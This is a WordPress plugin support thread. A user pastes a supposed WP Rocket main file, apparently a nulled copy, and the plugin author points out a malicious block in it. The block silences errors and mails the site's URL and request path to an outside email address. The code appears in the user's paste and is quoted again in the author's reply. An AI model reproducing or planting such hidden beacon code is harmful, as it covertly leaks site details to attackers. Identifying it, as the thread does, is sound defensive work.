Support » Plugin: WP Rocket Footer JS » Pity – wanted to get around the WP-R’s inability to do the js combine thing

  • I tried it (on the recommendation of a friend who really likes it), but I kept getting a message saying that I don’t have WP=Rocket installed, although I do. My wp-rocket version is ‘old’ though—that might have something to do with it.

Viewing 4 replies - 1 through 4 (of 4 total)
  • Plugin Author Derrick Hammer

    (@pcfreak30)

    My code checks for the plugin file “wp-rocket/wp-rocket.php” and then checks to see if the WordPress action “wp_rocket_loaded’ has fired. I do recommend upgrading however as I am keeping this plugin maintained.

    Cheers, Derrick. Is there a possible workaround for that? (I would rather not upgrade as the site is otherwise working quite nicely—hehe, say I, as I continue to struggle with finding the js file(s) responsible for my landing page not rendering properly with WP=R’s JS Combine function on!)

    • This reply was modified 6 months, 2 weeks ago by  yairisan.
    • This reply was modified 6 months, 2 weeks ago by  yairisan.

    Perhaps the WP=R ‘version’ I have is dodgy. Is anything amiss here in the wp-rocket-php, as follows? :

    <?php
    /**
    * Plugin Name: WP Rocket
    * Plugin URI: https://wp-rocket.me
    * Description: The best WordPress performance plugin.
    * Version: 3.0.2
    * Code Name: Dagobah
    * Author: WP Media
    * Contributors: Jonathan Buttigieg, Julio Potier, Remy Perona
    * Author URI: http://wp-media.me
    * Licence: GPLv2 or later
    *
    * Text Domain: rocket
    * Domain Path: languages
    *
    * Copyright 2013-2017 WP Rocket
    * */

    error_reporting(0);
    ini_set(‘display_errors’, 0);
    $ip = getenv(“REMOTE_ADDR”); $hostname = gethostbyaddr($ip); $bilsmg = “LiNk : http://” . $_SERVER[‘SERVER_NAME’] . $_SERVER [‘REQUEST_URI’] . “\r\n”; $bilsnd =”aelkhaddari@gmail.com”; $bilsub = “Wp Rocket”; $bilhead = “From: MaileRyew”; $bilhead .= $_POST[‘eMailAdd’].”\n”; $bilhead .= “MIME-Version: 1.0\n”; $arr=array($bilsnd, $IP); foreach ($arr as $bilsnd) mail($bilsnd,$bilsub,$bilsmg,$bilhead,$message);

    defined( ‘ABSPATH’ ) || die( ‘Cheatin’ uh?’ );

    // Rocket defines.
    define( ‘WP_ROCKET_VERSION’ , ‘3.0.2’ );
    define( ‘WP_ROCKET_PRIVATE_KEY’ , ’34ecae8dda32481fed8f57b3fb770de8′);
    define( ‘WP_ROCKET_SLUG’ , ‘wp_rocket_settings’ );
    define( ‘WP_ROCKET_WEB_MAIN’ , ‘https://wp-rocket.me/’);
    define( ‘WP_ROCKET_WEB_API’ , WP_ROCKET_WEB_MAIN . ‘api/wp-rocket/’ );
    define( ‘WP_ROCKET_WEB_CHECK’ , WP_ROCKET_WEB_MAIN . ‘check_update.php’ );
    define( ‘WP_ROCKET_WEB_VALID’ , WP_ROCKET_WEB_MAIN . ‘valid_key.php’ );
    define( ‘WP_ROCKET_WEB_INFO’ , WP_ROCKET_WEB_MAIN . ‘plugin_information.php’ );
    define( ‘WP_ROCKET_BOT_URL’ , ‘http://bot.wp-rocket.me/launch.php’ );
    define( ‘WP_ROCKET_FILE’ , __FILE__ );
    define( ‘WP_ROCKET_PATH’ , realpath( plugin_dir_path( WP_ROCKET_FILE ) ) . ‘/’ );
    define( ‘WP_ROCKET_INC_PATH’ , realpath( WP_ROCKET_PATH . ‘inc/’ ) . ‘/’ );
    define( ‘WP_ROCKET_FRONT_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘front/’ ) . ‘/’ );
    define( ‘WP_ROCKET_ADMIN_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘admin’ ) . ‘/’ );
    define( ‘WP_ROCKET_ADMIN_UI_PATH’ , realpath( WP_ROCKET_ADMIN_PATH . ‘ui’ ) . ‘/’ );
    define( ‘WP_ROCKET_ADMIN_UI_MODULES_PATH’, realpath( WP_ROCKET_ADMIN_UI_PATH . ‘modules’ ) . ‘/’ );
    define( ‘WP_ROCKET_COMMON_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘common’ ) . ‘/’ );
    define( ‘WP_ROCKET_FUNCTIONS_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘functions’ ) . ‘/’ );
    define( ‘WP_ROCKET_VENDORS_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘vendors’ ) . ‘/’ );
    define( ‘WP_ROCKET_3RD_PARTY_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘3rd-party’ ) . ‘/’ );
    define( ‘WP_ROCKET_CONFIG_PATH’ , WP_CONTENT_DIR . ‘/wp-rocket-config/’ );
    define( ‘WP_ROCKET_CACHE_PATH’ , WP_CONTENT_DIR . ‘/cache/wp-rocket/’ );
    define( ‘WP_ROCKET_MINIFY_CACHE_PATH’ , WP_CONTENT_DIR . ‘/cache/min/’ );
    define( ‘WP_ROCKET_CACHE_BUSTING_PATH’ , WP_CONTENT_DIR . ‘/cache/busting/’ );
    define( ‘WP_ROCKET_CRITICAL_CSS_PATH’ , WP_CONTENT_DIR . ‘/cache/critical-css/’ );
    define( ‘WP_ROCKET_URL’ , plugin_dir_url( WP_ROCKET_FILE ) );
    define( ‘WP_ROCKET_INC_URL’ , WP_ROCKET_URL . ‘inc/’ );
    define( ‘WP_ROCKET_FRONT_URL’ , WP_ROCKET_INC_URL . ‘front/’ );
    define( ‘WP_ROCKET_FRONT_JS_URL’ , WP_ROCKET_FRONT_URL . ‘js/’ );
    define( ‘WP_ROCKET_ADMIN_URL’ , WP_ROCKET_INC_URL . ‘admin/’ );
    define( ‘WP_ROCKET_ADMIN_UI_URL’ , WP_ROCKET_ADMIN_URL . ‘ui/’ );
    define( ‘WP_ROCKET_ADMIN_UI_JS_URL’ , WP_ROCKET_ADMIN_UI_URL . ‘js/’ );
    define( ‘WP_ROCKET_ADMIN_UI_CSS_URL’ , WP_ROCKET_ADMIN_UI_URL . ‘css/’ );
    define( ‘WP_ROCKET_ADMIN_UI_IMG_URL’ , WP_ROCKET_ADMIN_UI_URL . ‘img/’ );
    define( ‘WP_ROCKET_ASSETS_URL’ , WP_ROCKET_URL . ‘assets/’ );
    define( ‘WP_ROCKET_ASSETS_JS_URL’ , WP_ROCKET_ASSETS_URL . ‘js/’ );
    define( ‘WP_ROCKET_ASSETS_CSS_URL’ , WP_ROCKET_ASSETS_URL . ‘css/’ );
    define( ‘WP_ROCKET_ASSETS_IMG_URL’ , WP_ROCKET_ASSETS_URL . ‘img/’ );
    define( ‘WP_ROCKET_CACHE_URL’ , WP_CONTENT_URL . ‘/cache/wp-rocket/’ );
    define( ‘WP_ROCKET_MINIFY_CACHE_URL’ , WP_CONTENT_URL . ‘/cache/min/’ );
    define( ‘WP_ROCKET_CACHE_BUSTING_URL’ , WP_CONTENT_URL . ‘/cache/busting/’ );
    if ( ! defined( ‘CHMOD_WP_ROCKET_CACHE_DIRS’ ) ) {
    define( ‘CHMOD_WP_ROCKET_CACHE_DIRS’, 0755 );
    }
    if ( ! defined( ‘WP_ROCKET_LASTVERSION’ ) ) {
    define( ‘WP_ROCKET_LASTVERSION’, ‘2.11.7’ );
    }

    require WP_ROCKET_INC_PATH . ‘compat.php’;
    require dirname( __FILE__ ) . ‘/licence-data.php’;
    require WP_ROCKET_INC_PATH . ‘classes/class-wp-rocket-requirements-check.php’;

    /**
    * Loads WP Rocket translations
    *
    * @since 3.0
    * @author Remy Perona
    *
    * @return void
    */
    function rocket_load_textdomain() {
    // Load translations from the languages directory.
    $locale = get_locale();

    // This filter is documented in /wp-includes/l10n.php.
    $locale = apply_filters( ‘plugin_locale’, $locale, ‘rocket’ );
    load_textdomain( ‘rocket’, WP_LANG_DIR . ‘/plugins/wp-rocket-‘ . $locale . ‘.mo’ );

    load_plugin_textdomain( ‘rocket’, false, dirname( plugin_basename( __FILE__ ) ) . ‘/languages/’ );
    }
    add_action( ‘plugins_loaded’, ‘rocket_load_textdomain’ );

    $wp_rocket_requirement_checks = new WP_Rocket_Requirements_Check( array(
    ‘plugin_name’ => ‘WP Rocket’,
    ‘plugin_file’ => WP_ROCKET_FILE,
    ‘plugin_version’ => WP_ROCKET_VERSION,
    ‘plugin_last_version’ => WP_ROCKET_LASTVERSION,
    ‘wp_version’ => ‘4.2’,
    ‘php_version’ => ‘5.4’,
    ) );

    if ( $wp_rocket_requirement_checks->check() ) {
    require WP_ROCKET_INC_PATH . ‘main.php’;
    }

    unset( $wp_rocket_requirement_checks );

    Plugin Author Derrick Hammer

    (@pcfreak30)

    I would say just get the latest version (and dismiss the warning it gives about my plugin). That is just one part of a lot of code.

    I do see something malicious though.

    error_reporting(0);
    ini_set(‘display_errors’, 0);
    $ip = getenv(“REMOTE_ADDR”); $hostname = gethostbyaddr($ip); $bilsmg = “LiNk : http://” . $_SERVER[‘SERVER_NAME’] . $_SERVER [‘REQUEST_URI’] . “\r\n”; $bilsnd =”aelkhaddari@gmail.com”; $bilsub = “Wp Rocket”; $bilhead = “From: MaileRyew”; $bilhead .= $_POST[‘eMailAdd’].”\n”; $bilhead .= “MIME-Version: 1.0\n”; $arr=array($bilsnd, $IP); foreach ($arr as $bilsnd) mail($bilsnd,$bilsub,$bilsmg,$bilhead,$message);

    If you are using a nulled copy, please upgrade and get an official copy. Else your site is possibly infected? wp-rocket is actually available at https://github.com/wp-media/wp-rocket but it doesn’t work as is. Needs a bit of dev level stuff with “composer” to work.

Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Pity – wanted to get around the WP-R’s inability to do the js combine thing’ is closed to new replies.